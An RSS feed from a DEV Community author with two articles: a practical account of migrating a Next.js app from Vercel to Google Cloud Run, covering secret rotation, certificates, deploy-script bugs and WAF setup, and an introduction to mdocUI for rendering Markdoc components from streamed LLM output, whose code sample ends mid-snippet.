<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Abhay</title>
    <description>The latest articles on DEV Community by Abhay (@abhaygawade).</description>
    <link>https://dev.to/abhaygawade</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F55384%2Feb0134b1-0e2d-4466-948e-95436bbb5bc8.jpeg</url>
      <title>DEV Community: Abhay</title>
      <link>https://dev.to/abhaygawade</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/abhaygawade"/>
    <language>en</language>
    <item>
      <title>We moved our Next.js app from Vercel to Google Cloud Run. Here's how it actually went.</title>
      <dc:creator>Abhay</dc:creator>
      <pubDate>Thu, 14 May 2026 06:21:00 +0000</pubDate>
      <link>https://dev.to/abhaygawade/we-moved-our-nextjs-app-from-vercel-to-google-cloud-run-heres-how-it-actually-went-10ah</link>
      <guid>https://dev.to/abhaygawade/we-moved-our-nextjs-app-from-vercel-to-google-cloud-run-heres-how-it-actually-went-10ah</guid>
      <description>&lt;p&gt;We moved our production Next.js 16 app from Vercel to Google Cloud Run last week. The whole thing took about ten focused hours from "let's plan this" to "production traffic on GCP." Some parts went well. A few caught us off guard. One bug only showed up on the second deploy and would bite anyone with the same setup.&lt;/p&gt;

&lt;p&gt;This is the honest story. If you're thinking about the same move, hopefully you skip the parts I tripped over.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why we were on Vercel
&lt;/h2&gt;

&lt;p&gt;When the project was three weeks old, I needed a deploy target I could ignore. &lt;code&gt;vercel --prod&lt;/code&gt; worked. Custom domains worked. SSL worked. Preview branches just appeared. I had a Next.js 14 app, no time for infra, and a list of customer features that mattered more than where the bits ran.&lt;/p&gt;

&lt;p&gt;We sat on Vercel Pro for almost a year. It earned its keep. Everything I complain about below is the predictable cost of an early-stage setup meeting real product needs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why we moved
&lt;/h2&gt;

&lt;p&gt;A few unrelated things lined up at the same time.&lt;/p&gt;

&lt;p&gt;Most of our backend was already on GCP. Our heavy work runs in background workers that pull from &lt;code&gt;pgmq&lt;/code&gt;, a Postgres queue extension. Those workers needed more compute than Vercel functions allowed, so they went on Cloud Run from day one. The web app stayed on Vercel. We had a seam in the architecture nobody wanted to admit was a seam: "the system runs on GCP, except the part the user actually sees."&lt;/p&gt;

&lt;p&gt;We also got into the GCP for Startups program. That's about a year of credits sitting in the account, which changes the cost math. The web app was our biggest line item on Vercel and would be one of the smaller ones on GCP.&lt;/p&gt;

&lt;p&gt;Most of our users are in India. Cloudflare proxies everything anyway, so end-user TTFB is dominated by Cloudflare's edge in Bombay. But origin-pull latency matters for routes the CDN can't cache — dashboards, server actions, an SSE stream that holds connections open for minutes. Vercel was serving us from &lt;code&gt;bom1&lt;/code&gt; too, but with extra hops through their edge middleware. After cutover I measured ~45ms median TTFB through the new stack against ~170ms before, from the same client.&lt;/p&gt;

&lt;p&gt;The last reason is the one that quietly drove me crazy. Workers had alerts in Cloud Monitoring, secrets in Secret Manager, IAM in Terraform. Web had Vercel's UI, Vercel's env var system, Vercel's auth model. Two halves of one product, two mental models for every change.&lt;/p&gt;

&lt;p&gt;None of those reasons by itself was enough. Together they were.&lt;/p&gt;

&lt;h2&gt;
  
  
  The plan, before it met reality
&lt;/h2&gt;

&lt;p&gt;Six phases, each meant to be revertible on its own.&lt;/p&gt;

&lt;p&gt;Audit first. Inventory every env var, every domain, every webhook. Compare to what the new Terraform would create. Then build infra: Cloud Run service, Global HTTPS load balancer, Cloud Armor in preview mode, Cloud CDN, Artifact Registry, Workload Identity Federation for GitHub Actions, monitoring alerts. Apply with a placeholder image so the resources exist before any real build pushes one. Then CI/CD: a workflow that builds the Docker image, pushes to Artifact Registry, canary-deploys to Cloud Run with no traffic, waits for the revision to go Ready, then shifts traffic. Then a 3–5 day soak running the new stack in parallel with Vercel, smoke-testing through the LB IP with &lt;code&gt;curl --resolve&lt;/code&gt; so no DNS changes yet. Then the actual DNS flip. Then teardown.&lt;/p&gt;

&lt;p&gt;I ended up doing the soak in about fifteen minutes instead of five days, but I'll get to that.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Sensitive env var problem
&lt;/h2&gt;

&lt;p&gt;This is the part I want most people to know about, and the part I want to be careful not to give bad advice on.&lt;/p&gt;

&lt;p&gt;Vercel has two main classes of environment variable for secrets: encrypted and sensitive. Both are encrypted at rest. The difference is how readable they are after that. Encrypted vars decrypt back to plaintext on Vercel's systems for things like the dashboard, the CLI (&lt;code&gt;vercel env pull&lt;/code&gt;), and read APIs. Sensitive vars are protected so the plaintext is only available to your running build and runtime. You can't read them back through the dashboard, the CLI, or any API. The dashboard just shows an empty box. &lt;code&gt;vercel env ls&lt;/code&gt; lists them by name only.&lt;/p&gt;

&lt;p&gt;This protection is not theoretical. Vercel had a &lt;a href="https://vercel.com/kb/bulletin/vercel-april-2026-security-incident" rel="noopener noreferrer"&gt;security incident in April 2026&lt;/a&gt; where an attacker pivoted through a third-party AI tool into a Vercel employee's Google Workspace, and from there into Vercel internal systems. The attacker enumerated and decrypted non-sensitive environment variables for a subset of customers. Sensitive variables were not exposed. Vercel's advice after the incident was to rotate any non-sensitive secrets and move secret material to the Sensitive class going forward.&lt;/p&gt;

&lt;p&gt;So when twenty-two of our secrets were Sensitive — payment provider keys, webhook signing secrets, a database encryption key, an LLM provider key, our database service role, Sentry tokens — that wasn't a mistake. That was security working correctly. The "you can't read them back" property is the whole point. If those values could be pulled out from outside the running deployment, an attacker with the right access could pull them too.&lt;/p&gt;

&lt;p&gt;The cost of that property is that when you leave the platform, those values are unrecoverable from Vercel. The answer is not to weaken the security class. The answer is to rotate.&lt;/p&gt;

&lt;p&gt;So we rotated every Sensitive secret as part of the move. The flow per secret was the same. Generate a new value. Put it in Secret Manager. Update the upstream provider's dashboard to issue or accept the new key. Switch the consuming code in the new infra. Watch traffic confirm the new key is being used, then revoke the old. The old Vercel values stay locked away forever. Which is fine. They were never meant to come back out.&lt;/p&gt;

&lt;p&gt;The real work was the choreography. Payment processors usually let you have multiple active API keys, so you add the new one, watch usage shift, revoke the old. Webhook signing secrets are trickier when the receiver only accepts one — most providers let you accept two during a rotation window. OAuth client secrets often allow only one active value, so you eat a short window of failed callbacks or spin up a second OAuth client. Database credentials are easiest if you just create a new DB user for the new infra instead of rotating the existing one.&lt;/p&gt;

&lt;p&gt;If you're on Vercel today, keep using Sensitive for actual secrets. Rotation is the right path out, and being on Sensitive protects you from the class of incident Vercel disclosed in April.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Cloudflare origin cert trick
&lt;/h2&gt;

&lt;p&gt;Google-managed SSL certs on a GCP load balancer don't go ACTIVE until at least one of their SAN domains has a DNS record pointing at the LB. This is how Google validates ownership. It also means there's a chicken-and-egg moment at cutover: until DNS flips, the cert is stuck in PROVISIONING.&lt;/p&gt;

&lt;p&gt;A few minutes of a not-yet-ready cert is usually fine. We had two reasons to avoid it. Cloudflare in front of the LB connects to origin in Full (strict) mode, which requires a valid origin cert at the TLS handshake. If the origin cert is provisioning at the same moment DNS flips, Cloudflare can fail open or fail closed depending on settings — neither of which I wanted to discover in production. And the managed cert provisioning timeline runs anywhere from 15 to 60 minutes in practice. That's too unpredictable.&lt;/p&gt;

&lt;p&gt;The fix is a Cloudflare Origin Certificate. Cloudflare issues you a 15-year cert signed by their internal CA. Their edge fully trusts it. No browser does, but that's fine — browser users only ever talk to Cloudflare's public edge cert. You upload the origin cert to the LB as a self-managed certificate, and the Cloudflare-to-LB hop works the moment you flip DNS.&lt;/p&gt;

&lt;p&gt;I bound both certs on the HTTPS proxy. Cloudflare origin cert primary, Google managed cert as fallback. The Google cert eventually provisioned to ACTIVE about 25 minutes after cutover, by which point it didn't matter. Defensive overkill, maybe. The whole worry goes away if you're comfortable with a 30-minute "this might 5xx" window. I wasn't.&lt;/p&gt;

&lt;h2&gt;
  
  
  Two bugs that hide until they don't
&lt;/h2&gt;

&lt;p&gt;Both of these are silent failures. Both make your old revision keep serving while everything looks fine in the browser. Both come from things that are easy to get wrong if you copy-paste your deploy script.&lt;/p&gt;

&lt;p&gt;The first one is the wait-for-Ready check. Our workflow does this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gcloud run services update &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$SERVICE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--image&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$IMAGE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;--no-traffic&lt;/span&gt; &lt;span class="nt"&gt;--tag&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"sha-&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;SHORT_SHA&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;for &lt;/span&gt;i &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;seq &lt;/span&gt;1 60&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;&lt;span class="nv"&gt;STATUS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;gcloud run revisions describe &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LATEST&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'value(status.conditions[?type=Ready].status)'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$STATUS&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"True"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then &lt;/span&gt;&lt;span class="nb"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;fi
  &lt;/span&gt;&lt;span class="nb"&gt;sleep &lt;/span&gt;5
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;[?type=Ready]&lt;/code&gt; is JMESPath filter syntax. It works in the &lt;code&gt;aws&lt;/code&gt; CLI. It does not work in &lt;code&gt;gcloud --format=value(...)&lt;/code&gt;. gcloud silently returns an empty string. The poll times out at five minutes. The deploy step fails. Traffic-shift never runs. The new revision sits Ready on 0% traffic and the old one keeps serving. The fix is to poll the service-level field instead:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;READY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;gcloud run services describe &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$SERVICE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'value(status.latestReadyRevisionName)'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$READY&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LATEST&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then &lt;/span&gt;&lt;span class="nb"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's the gcloud-native pattern. The JMESPath thing got in there because the workflow was adapted from an old AWS deploy script. If your workflow has any inherited syntax, do one pass on it before you cut over.&lt;/p&gt;

&lt;p&gt;The second bug only shows up on the second deploy. Our canary flow tags the currently-serving image as &lt;code&gt;:previous-good&lt;/code&gt; before shifting traffic, so rollback is one workflow-run away. The command is &lt;code&gt;gcloud artifacts docker tags add&lt;/code&gt; against the &lt;code&gt;:previous-good&lt;/code&gt; tag. On the first ever deploy, that tag doesn't exist yet, so the command just creates it and everyone is happy. On every deploy after that, the tag already exists pointing at a different image, so the command has to delete the old binding before creating the new one. That delete needs &lt;code&gt;artifactregistry.tags.delete&lt;/code&gt;. Our deployer service account had &lt;code&gt;roles/artifactregistry.writer&lt;/code&gt;, which covers create but not delete.&lt;/p&gt;

&lt;p&gt;Result: the second deploy passed every step except the tag step. Same failure shape as the JMESPath bug — new revision Ready on 0% traffic, old revision still serving. It took me fifteen minutes to figure out because the symptom looked identical to the first bug. The fix was one Terraform line: deployer SA gets &lt;code&gt;roles/artifactregistry.repoAdmin&lt;/code&gt; on each repo instead of &lt;code&gt;writer&lt;/code&gt;. Same scope, slightly more permission, covers both operations.&lt;/p&gt;

&lt;p&gt;If your team has a canary deploy that re-tags an image to mark rollback targets, audit that flow today. Both these bugs are invisible until they aren't.&lt;/p&gt;

&lt;h2&gt;
  
  
  The actual cutover
&lt;/h2&gt;

&lt;p&gt;I'd planned for three to five days of soak. It ended up being about fifteen minutes.&lt;/p&gt;

&lt;p&gt;The smoke test was simple. I edited &lt;code&gt;/etc/hosts&lt;/code&gt; to point the production hostname at the GCP LB IP. Then I accepted the cert warning in the browser and walked through the things that matter: OAuth callback, the SSE streaming route, server actions, payments checkout. Everything worked. Cloudflare's orange-cloud proxy means a DNS flip-back is under sixty seconds at any point. Both stacks share the same Supabase backend, so there's no data divergence to worry about either.&lt;/p&gt;

&lt;p&gt;The disciplined version of risk management would have been five days of synthetic monitoring before flipping. The pragmatic version was a checklist, a smoke test, and the knowledge that rollback was instant.&lt;/p&gt;

&lt;p&gt;I flipped DNS at 23:00 IST. Cloudflare picked up the new origin in under thirty seconds. Cloud Run request volume climbed from zero to real traffic inside the next minute. Twelve hours later, the only anomalies in the logs were the same bot scanners that had been hitting &lt;code&gt;xmlrpc.php&lt;/code&gt; and &lt;code&gt;/wp-admin&lt;/code&gt; on the old stack.&lt;/p&gt;

&lt;h2&gt;
  
  
  The defense-in-depth thing I got wrong
&lt;/h2&gt;

&lt;p&gt;I'd been carrying a task that said "Cloud Armor must flip from preview to enforce by day-7." The original plan was Cloud Armor's OWASP rules in front of Cloud Run, plus Cloudflare's free DDoS layer, plus our app-level checks.&lt;/p&gt;

&lt;p&gt;Once we actually got the new stack up, I realized we had Cloudflare Enterprise on the zone, which includes Cloudflare's Managed Ruleset, Exposed Credentials Check, and OWASP Core Ruleset. After deploying those, Cloud Armor became the second WAF in the chain, running the same OWASP signatures as Cloudflare but later in the path. Two WAFs blocking the same traffic just doubles the false-positive triage surface.&lt;/p&gt;

&lt;p&gt;Cloudflare WAF is now the primary blocker. Cloud Armor stays in preview mode permanently — it logs everything Cloudflare let through, which is useful forensic data, but it doesn't block. The day-7 enforce deadline is gone. If something gets past Cloudflare in an attack, Cloud Armor's logs show the pattern and I can write a tuned Cloudflare rule. The decision lives in the Terraform with a comment explaining why preview is permanent, so whoever joins next doesn't think it's a TODO.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Vercel ending
&lt;/h2&gt;

&lt;p&gt;We didn't delete the Vercel project. I downgraded to Hobby and kept the auto-deploy from &lt;code&gt;main&lt;/code&gt; running. The project rebuilds on every push. The deployment sits there warm. No production traffic touches it. It stays available as a warm-standby in case GCP has a bad day.&lt;/p&gt;

&lt;p&gt;If we ever need to roll back at the infrastructure level, the failover is a Cloudflare DNS A record flip. Sixty seconds. Same backend. That posture would have horrified Vercel-fan-me from a year ago. Pragmatic-me thinks it's a useful redundancy at zero cost.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I'd do differently
&lt;/h2&gt;

&lt;p&gt;A few things, in order of how much I want to take them back. Plan secret rotation into the migration timeline from day one. Sensitive-class env vars are the correct security posture, and the way they protect values is the point. Bake the provider-dashboard coordination work into the schedule from the start. Audit your deploy workflow for inherited JMESPath syntax before your first cutover, not after. Grant &lt;code&gt;artifactregistry.repoAdmin&lt;/code&gt; to the deployer service account on day one, or pick a tagging strategy that doesn't need delete. Use a Cloudflare Origin Certificate even when you also have a managed cert — it's free, it lasts fifteen years, and it removes a class of cutover failure. If your testing is good, skip the soak. Five days of synthetic monitoring does not catch what one careful smoke test catches. And don't run two WAFs in enforce mode at the same time unless someone on the team has time to triage false positives twice.&lt;/p&gt;

&lt;h2&gt;
  
  
  The shape now
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Internet
  ↓
Cloudflare (orange-cloud)
  ├─ WAF Managed Ruleset (Block)
  ├─ Exposed Credentials Check (Block)
  ├─ OWASP Core Ruleset (Log → Block after soak)
  └─ Rate Limiting + DDoS L3/L4/L7
  ↓
GCP Global HTTPS LB (Cloudflare Origin Cert)
  ↓
Cloud Armor (preview, forensic logging only)
  ↓
Cloud CDN (USE_ORIGIN_HEADERS cache mode)
  ↓
Cloud Run v2 (asia-south1, ingress = INTERNAL_LB)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;More moving parts than Vercel. Operational overhead is roughly the same once it's running, because everything is in Terraform and the deploy is a &lt;code&gt;git push&lt;/code&gt;. Cost is covered by startup credits for the next year. Without those credits, this stack is more expensive than Vercel Pro at our current always-on worker footprint — be honest with yourself about that math before you commit.&lt;/p&gt;

&lt;p&gt;If you read this far and you're sitting on the same decision, I'm happy to talk through your specifics. The secret-rotation choreography and the canary-deploy IAM gotchas are where people get stuck.&lt;/p&gt;

</description>
      <category>nextjs</category>
      <category>googlecloud</category>
      <category>vercel</category>
      <category>cloudrun</category>
    </item>
    <item>
      <title>Why Markdoc for LLM Streaming UI</title>
      <dc:creator>Abhay</dc:creator>
      <pubDate>Fri, 03 Apr 2026 13:10:12 +0000</pubDate>
      <link>https://dev.to/abhaygawade/why-markdoc-for-llm-streaming-ui-3m26</link>
      <guid>https://dev.to/abhaygawade/why-markdoc-for-llm-streaming-ui-3m26</guid>
      <description>&lt;p&gt;Every AI chatbot I've built hits the same wall.&lt;/p&gt;

&lt;p&gt;The LLM writes beautiful markdown — headings, bold, lists, code blocks. Then someone asks for a chart. Or a form. Or a data table with sortable columns.&lt;/p&gt;

&lt;p&gt;Suddenly you need a component rendering layer. And every approach has tradeoffs.&lt;/p&gt;

&lt;p&gt;That's why I built mdocUI: a streaming-first generative UI library that lets LLMs mix markdown and interactive components in one output stream.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Problem
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;JSON blocks in markdown&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Some teams embed JSON in fenced code blocks:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Here's your revenue data:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;```json:chart
{"type": "bar", "labels": ["Q1", "Q2", "Q3"], "values": [120, 150, 180]}
```
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This works until you're streaming. A JSON object that arrives token-by-token is invalid JSON until the closing brace lands. You either buffer the entire block (killing the streaming experience) or parse incomplete JSON (fragile).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;JSX in markdown&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="nx"&gt;Here&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;s your data:

&amp;lt;Chart type="bar" labels={["Q1", "Q2", "Q3"]} values={[120, 150, 180]} /&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Models get confused. They mix HTML attributes with JSX props. They forget to close tags. The &lt;code&gt;&amp;lt;&lt;/code&gt; character appears everywhere in normal text, making streaming parsing ambiguous.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Custom DSLs&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Some teams invent their own syntax — &lt;code&gt;[[chart:bar:Q1=120,Q2=150]]&lt;/code&gt; or similar. Now you're training the model on a format it's never seen, burning tokens on format instructions, and maintaining a custom parser.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Markdoc Tag Syntax
&lt;/h2&gt;

&lt;p&gt;Markdoc is a documentation framework created by Stripe. It extends markdown with custom tag delimiters. In this article, I’ll show them as &lt;code&gt;[% %]&lt;/code&gt; so Dev.to doesn’t try to parse them as Liquid:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;Here's your revenue data:

[% chart type="bar" labels=["Q1","Q2","Q3"] values=[120,150,180] /%]

Revenue grew 12% quarter-over-quarter.

[% button action="continue" label="Show by region" /%]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three properties make this tag syntax ideal for LLM streaming:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Unambiguous delimiter&lt;/strong&gt; — the opening sequence is something you would never expect in normal prose, standard markdown, or fenced code blocks. A streaming parser can detect it without lookahead or backtracking.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Models already know it&lt;/strong&gt; — Markdoc is in training data (Stripe docs, Cloudflare docs). Models write it correctly without extensive format instructions.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Prose and components coexist&lt;/strong&gt; — no mode switching. The LLM writes markdown and drops components wherever they fit. The parser separates them as tokens arrive.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  How mdocUI Works
&lt;/h2&gt;

&lt;p&gt;mdocUI borrows only the tag syntax from Markdoc. We built our own streaming parser from scratch.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Architecture:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;LLM tokens → Tokenizer → StreamingParser → ComponentRegistry → Renderer
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The tokenizer is a character-by-character state machine with three states: &lt;code&gt;IN_PROSE&lt;/code&gt;, &lt;code&gt;IN_TAG&lt;/code&gt;, &lt;code&gt;IN_STRING&lt;/code&gt;. As tokens arrive, it separates prose from component tags.&lt;/p&gt;

&lt;p&gt;The ComponentRegistry validates tag names and props against Zod schemas. Invalid tags get error boundaries, not crashes.&lt;/p&gt;

&lt;p&gt;The Renderer maps AST nodes to React components. Every component is theme-neutral — &lt;code&gt;currentColor&lt;/code&gt;, &lt;code&gt;inherit&lt;/code&gt;, no hardcoded colors. Swap any component with your own.&lt;/p&gt;

&lt;h2&gt;
  
  
  Getting Started
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pnpm add @mdocui/core @mdocui/react
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;generatePrompt&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@mdocui/core&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;createDefaultRegistry&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;defaultGroups&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@mdocui/react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Renderer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;useRenderer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;defaultComponents&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@mdocui/react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;registry&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createDefaultRegistry&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;// Auto-generate system prompt from your component registry&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;systemPrompt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;generatePrompt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;registry&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;preamble&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;You are a helpful assistant.&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;groups&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;defaultGroups&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;

&lt;span class="c1"&gt;// In your React component&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Chat&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;nodes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;isStreaming&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;push&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;done&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useRenderer&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;registry&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;

  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Renderer&lt;/span&gt;
      &lt;span class="nx"&gt;nodes&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;nodes&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="nx"&gt;components&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;defaultComponents&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
